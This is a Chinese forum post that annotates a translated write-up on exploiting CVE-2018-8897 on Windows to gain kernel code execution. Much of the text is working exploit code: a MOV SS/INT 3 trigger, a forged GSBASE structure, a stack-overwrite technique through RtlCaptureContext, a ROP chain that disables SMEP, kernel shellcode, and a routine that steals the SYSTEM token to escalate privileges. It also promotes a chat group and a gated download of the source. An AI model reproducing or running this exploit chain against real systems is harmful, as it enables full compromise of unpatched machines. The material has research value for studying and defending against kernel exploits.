首页
社区
课程
招聘
使用CVE-2018-8897在0环处执行任意代码注释版
发表于: 2019-11-9 14:24 4532

使用CVE-2018-8897在0环处执行任意代码注释版

2019-11-9 14:24
4532

转发自 原文

就在几天前,尼克·彼得森和Nemanja Mulasmajic发现了一个新漏洞,该漏洞允许特权用户使用用户模式的GSBASE来运行#DB内核处理程序。在他们发布在Triplefault.io的白皮书  结尾处,他们提到他们能够加载和执行未签名的内核代码,这使我对这一挑战产生了兴趣。这正是我在这篇文章中要尝试做的。

在开始之前,我想指出,此漏洞利用可能不适用于某些虚拟机管理程序(例如VMWare),它们会在INT3之后丢弃待处理的#DB。我通过“模拟”这种情况进行调试。


最终的源代码可以在底部找到。


0x0:设置基础

与其它漏洞不同,此漏洞利用的原理非常简单。更改堆栈段时(无论是通过MOV还是POP),直到下一条指令完成后才中断。这不是微代码错误,而是Intel添加的一项功能,以便可以同时设置堆栈段和堆栈指针。


但是,许多OS供应商都忽略了此细节,这使我们引发#DB异常,并且进入内核回调后 他的当前特权级仍然是0 不是3。


我们可以通过以下方式设置调试寄存器来创建deferred-to-CPL0异常:在执行堆栈段更改指令期间,将引发#DB异常 并立即调用int 3  。int 3将跳转到KiBreakpointTrap,并且在执行KiBreakpointTrap的第一条指令之前,#DB才真正触发。


正如原始白皮书中的everdox和0xNemi所提到的,这使我们可以使用用户模式的GSBASE来运行内核模式异常处理程序。调试寄存器和XMM寄存器也将保留。


所有这些都可以通过几行完成,如下所示:

#include <Windows.h>
#include <iostream>
void main()
{
static DWORD g_SavedSS = 0;
_asm
{
mov ax, ss
mov word ptr [ g_SavedSS ], ax
}
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( DWORD ) &g_SavedSS;
Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( HANDLE( -2 ), &Ctx );
PVOID FakeGsBase = ...;
_asm
{
mov eax, FakeGsBase ; Set eax to fake gs base
push 0x23
push X64_End
push 0x33
push X64_Start
retf
X64_Start:
__emit 0xf3 ; wrgsbase eax
__emit 0x0f
__emit 0xae
__emit 0xd8
retf
X64_End:

; Vulnerability
mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
}
}


为了同时显示ASM和C,此示例为32位,最终的工作代码将为64位。


现在,让我们开始调试,我们在  KiDebugTrapOrFault 函数内部使用我们r3层定制的GSBASE 但是,这只不过是灾难性的,几乎没有函数起作用,我们最终将进入KiDebugTrapOrFault-> KiGeneralProtectionFault-> KiPageFault-> KiPageFault-> ...无限循环。如果我们拥有一个完全有效的GSBASE,那么到目前为止所取得的结果将是KMODE_EXCEPTION_NOT_HANDLED BSOD ,  因此,让我们集中精力使GSBASE功能像真正的GSBASE一样,正常情况下 会进入KeBugCheckEx。


我们可以利用小的IDA单步调试脚本更快地步入相关部分:

#include <idc.idc>

static main() 

{

  Message( "--- Step Till Next GS ---\n" );

  while( 1 )

  {

    auto Disasm = GetDisasmEx( GetEventEa(), 1 );

    if ( strstr( Disasm, "gs:" ) >= Disasm )

      break;

    StepInto();

    GetDebuggerEvent( WFNE_SUSP, -1 );

  }

}


0x1:修复KPCR数据

以下是我们必须修改GSBASE内容才能成功通过的几种情况:

– KiDebugTrapOrFault

KiDebugTrapOrFault:
...
memory:FFFFF8018C20701E ldmxcsr dword ptr gs:180h

Pcr.Prcb.MxCsr需要具有有效的标志组合才能通过此指令,否则它将引发#GP。因此,将其设置为其初始值0x1F80。



– KiExceptionDispatch

KiExceptionDispatch:
...
MEMORY:FFFFF8018C20DB5F mov rax, gs:188h
MEMORY:FFFFF8018C20DB68 bt dword ptr [rax+74h], 8

Pcr.Prcb.CurrentThread是位于gs:188h中的内容。 我们将分配一个内存块,并在gs:188h中引用它。


– KiDispatchException

KiDispatchException:
...
MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188
MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h]

这是Pcr.Prcb.CurrentThread.ApcStateFill.Process,同样,我们将分配一个内存块,并使该指针指向它。

KeCopyLastBranchInformation:
...
MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20
MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h]

GSBASE的0x20是Pcr.CurrentPrcb,即Pcr + 0x180。 我们将Pcr.CurrentPrcb设置为Pcr + 0x180,同时将Pcr.Self设置为&Pcr。


– RtlDispatchException

这一点将更加详细。 RtlDispatchException调用RtlpGetStackLimits,如果失败则调用KeQueryCurrentStackInformation和__fastfails。 这里的问题是KeQueryCurrentStackInformation根据Pcr.Prcb.RspBase,Pcr.Prcb.CurrentThread-> InitialStack,Pcr.Prcb.IsrStack检查RSP的当前值,如果找不到匹配项,则会报告失败。 我们显然不能从用户模式知道内核堆栈的值,那么该怎么办?


函数中间有一个奇怪的检查:

char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
{
...
if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
{
...
}
else
{
*v5 = 5;
result = 1;
*v3 = 0xFFFFFFFFFFFFFFFFi64;
*v4 = 0xFFFF800000000000i64;
}
return result;
}

多亏了此检查,只要我们确保KThread.InitialStack(KThread + 0x28)不等于Pcr.Prcb.RspBase(gs:1A8h),KeQueryCurrentStackInformation将返回0xFFFF800000000000-0xFFFFFFFFFFFFFFFFFF作为成功的堆栈范围。 我们继续将Pcr.Prcb.RspBase设置为1,并将Pcr.Prcb.CurrentThread-> InitialStack设置为0。问题已解决。


这些更改后的RtlDispatchException将失败,并且不会进行错误检查并返回KiDispatchException。


– KeBugCheckEx

我们终于来了。 这是我们需要解决的最后一件事:

MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20
MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h]
MEMORY:FFFFF8018C1FB95A call RtlCaptureContext

Pcr.CurrentPrcb-> Context是KeBugCheck保存调用方上下文的地方,出于某些奇怪的原因,它是PCONTEXT而不是CONTEXT。 我们实际上并不关心Pcr的任何其他字段,因此仅为了拥有一个有效的指针,我们就将其设置为Pcr + 0x3000。



0x2:然后Write|What|Where

然后我们运行,胜利的甜蜜甜蜜蓝屏!


现在一切正常,我们如何利用它?


KeBugCheckEx之后的代码过于复杂,无法一步一步地执行,因此很可能无法恢复原先的代码,因此,我们这次尝试不进行错误检查。


我编写了另一个IDA脚本来记录关注点(例如gs:访问和跳转以及对寄存器和[registers + x]的调用),并逐步执行,直到命中KeBugCheckEx:

#include <idc.idc>
static main()
{
Message( "--- Logging Points of Interest ---\n" );

while( 1 )
{
auto IP = GetEventEa();
auto Disasm = GetDisasmEx( IP, 1 );

if
(
( strstr( Disasm, "gs:" ) >= Disasm ) ||
( strstr( Disasm, "jmp r" ) >= Disasm ) ||
( strstr( Disasm, "call r" ) >= Disasm ) ||
( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
)
{
Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
}

StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );

if( IP == ... )
break;
}
}

令我失望的是,没有方便的跳转或呼叫。 整个输出是

- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
-- KiExceptionDispatch (+5f): mov rax, gs:188h
--- KiDispatchException (+48): mov rax, gs:188h
--- KiDispatchException (+5c): inc gs:5D30h
---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
--- KeBugCheckEx (+1a): mov rcx, gs:20h

这意味着我们必须找到一种写入内核模式内存并滥用它的方法。 RtlCaptureContext将在这里提供巨大的帮助。 如前所述,它是从Pcr.CurrentPrcb-> Context中获取上下文指针的,这是一个奇怪的PCONTEXT上下文,而不是CONTEXT上下文,这意味着我们可以为其提供任何内核地址并将其写在上面。


我本来是打算用g_CiOptions编写它,然后在另一个线程中连续写入NtLoadDriver,但是这个想法并没有我想象的那么好 仅仅是因为当前线程陷入了无限循环,而另一个尝试NtLoadDriver的线程由于使用了IPI而不会成功:

NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock

在使用g_CiOptions玩了1-2天后,我想到了一个更好的主意:覆盖RtlCaptureContext的返回地址。


我们如何在不访问RSP的情况下覆盖返回地址? 如果我们使用一点创造力,我们实际上可以使用RSP。 我们可以通过使Prcb.Context指向用户模式内存并从辅助线程轮询Context.RSP值来获取当前的RSP。 可悲的是,这本身没有用,因为我们已经传递了RtlCaptureContext(我们在漏洞利用文件中写了什么)。


但是,如果我们可以在RtlCaptureContext完成工作之后返回到KiDebugTrapOrFault并以某种方式预测RSP的下一个值,则这将非常可恶; 这正是我们要做的。


要返回到KiDebugTrapOrFault,我们将再次使用可爱的调试寄存器。 在RtlCaptureContext返回之后,立即调用KiSaveProcessorControlState。

.text:000000014017595F mov rcx, gs:20h
.text:0000000140175968 add rcx, 100h
.text:000000014017596F call KiSaveProcessorControlState
.text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
.text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
.text:0000000140175C80 mov rax, cr0
.text:0000000140175C83 mov [rcx], rax
.text:0000000140175C86 mov rax, cr2
.text:0000000140175C89 mov [rcx+8], rax
.text:0000000140175C8D mov rax, cr3
.text:0000000140175C90 mov [rcx+10h], rax
.text:0000000140175C94 mov rax, cr4
.text:0000000140175C97 mov [rcx+18h], rax
.text:0000000140175C9B mov rax, cr8
.text:0000000140175C9F mov [rcx+0A0h], rax

我们将在gs:20h + 0x100 + 0xA0上设置DR1,并在保存CR4值后立即使KeBugCheckEx返回到KiDebugTrapOrFault。


要覆盖返回指针,我们首先让KiDebugTrapOrFault->…-> RtlCaptureContext执行一次,然后给用户模式线程一个初始RSP值,然后让它再次执行一次以获取新的RSP,这将让我们计算 -执行RSP差异。 由于控制流也恒定,因此该RSP增量将恒定。


现在我们有了RSP增量,我们将预测RSP的下一个值,从中减去8来计算RtlCaptureContext的返回指针,并在其上写Prcb.Context-> Xmm13 – Prcb.Context-> Xmm15。


线程逻辑将如下所示:

HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD
{
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );

while ( !Ctx->Rsp );	// dr0断点触发 等待RtlCaptureContext被调用一次,以便我们获取此时的RSP 因为参数是我们r3提供的那块pcr内存 而且分析汇编 只有KeBugCheckEx调用RtlCaptureContext的地方才会写入这个context
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial );	// dr0断点触发 执行到RtlCaptureContext到KiSaveProcessorState内部会触发dr1硬断 此时再次进入KiDebugTrapxxxx函数到RtlCaptureContext内部 此时rsp的值相较于上刺同样位置rsp值的差值是固定的 堆栈回朔也需要这个值

StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta;	//根据差值预测下一次dr1硬断(上面dr1第一次触发后 也会再次进入KiSaveProcessorState 同样再次引发dr1)后 再回到上面那个位置的rsp值
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8;	// 定位堆栈返回地址
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;	
// RtlCaptureContext内部会把当前cpu寄存器值都塞入参数rcx代表的context结构里去 这个参数来自(Prcb + Offset_Prcb__Context)
//也就是NextRetPtrStorage - Offset_Context__XMM13 相当于进入RtlCaptureContext后 sub rsp,Offset_Context__XMM13开辟了
//一段局部变量区 此时复制xmm13到15的时候 其实是覆盖掉了返回地址以上的堆栈 恰好把xmmm13到15寄存器里面的数据写入堆栈 很骚气
return 0;
}, 0, 0, 0 );



现在,我们只需要建立一个ROP链并将其写入XMM13-XMM15。 我们无法预测XMM15的哪一半会由于我们为了遵守movaps对齐要求而应用的蒙版而被击中,因此前两个指针应仅指向[RETN]指令。


我们需要加载一个选择设置CR4的值的寄存器,以便XMM14指向[POP RCX; RETN]小工具,然后输入有效的CR4值(已禁用SMEP)。 至于XMM13,我们将仅使用[MOV CR4,RCX; RETN;]小工具,后跟指向我们的shellcode的指针。


最终的链看起来像:

-- &retn; (fffff80372e9502d)
-- &retn; (fffff80372e9502d)
-- &pop rcx; retn; (fffff80372ed9122)
-- cr4_nosmep (00000000000506f8)
-- &mov cr4, rcx; retn; (fffff803730045c7)
-- &KernelShellcode (00007ff613fb1010)

在我们的shellcode中,我们将需要恢复CR4值,交换,回滚ISR堆栈,执行所需的代码并将IRETQ返回到用户模式,这可以通过以下方式完成:

NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;

using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1,	// mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4,	// mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1,	// mov rcx, r8 ; rcx = ContextBackup
0xFB,	// sti ; enable interrupts
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
0x48, 0xCF	// iretq ; interrupt return
};

NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
NON_PAGED_DATA ptrdiff_t StackDelta = 0;

NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );//清除异常

uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );//第20位是smep 关闭它 佛则
/*
切换gs 因为漏洞利用就是让cpl(比如cs寄存器前两位) 进入中断后 会判断cpl 完后判断是否切换gs 之前漏洞的特点就是r3层引发中断异常后 进入内核本来cpl是3
但是却自动变成了0 所以不需要切换 但是要执行内核函数 必须修改提供的r3层的gs结构里面的各种属性 只能简单改改
让他执行到我们的用户层shellcode后 赶紧切换gs 此时就可以各种yy了 但是可能要关闭中断 部分函数可能irql太低 导致线程切换 swapcontext内部也会恢复smep 所以可能要考虑
瞄眼社区miao1yan.top另外一篇文章 搜smep就知道了
*/
__swapgs();


// Uncomment if it bugchecks to debug:
// __writedr( 2, StackDelta );
// __writedr( 3, PredictedNextRsp );
// __debugbreak();
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
//上面下两个访问全局变量的硬件断点 和一个int 3断点 单步调试 逐步查看到底哪里奔溃了
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;//Kebugcheckex函数内部RtlCaptureContext给context赋值rsp的时候的rsp数值 减去增量 就是

// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 && //win10 上调试发现是0x10
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{

__rollback_isr( IsrStackIterator );//回朔堆栈

// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )//回朔到int 3断点触发后 进入中断回调的时候 保存eflags cs ip 到堆栈 此时直接提取相关信息
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap 最开始的int 3断点
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 -- ip
fffff00e`d7a1bc70 0000000000000033 cs
fffff00e`d7a1bc78 0000000000000202 eflags
fffff00e`d7a1bc80 000000ad39b6f938 sp
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}

IsrStackIterator -= StackDelta;
}


PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );

// ------ KERNEL CODE ------ 欢迎加入miao1yan.top群号835875625和755836982

uint64_t SystemProcess = *k_PsInitialSystemProcess;//偷来系统进程的eprocess和令牌 提升自己的进程权限
uint64_t CurrentProcess = k_PsGetCurrentProcess();

uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );

for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );

if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}


k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );

// ------ KERNEL CODE ------

__swapgs();

( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;//绕过int 3断电的位置 继续执行
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );//返回r3 继续执行
}



我们无法还原任何寄存器,因此我们将使负责执行漏洞的线程将上下文存储在全局数组中,然后从全局数组中还原。 既然我们执行了代码并返回到用户模式,我们的利用就完成了!


让我们做一个简单的演示来窃取系统令牌:

uint64_t SystemProcess = *k_PsInitialSystemProcess;//偷来系统进程的eprocess和令牌 提升自己的进程权限
uint64_t CurrentProcess = k_PsGetCurrentProcess();

uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );

for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );

if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}


k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );


源码详细注释版下载地址:去这里回复可见下载链接




[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//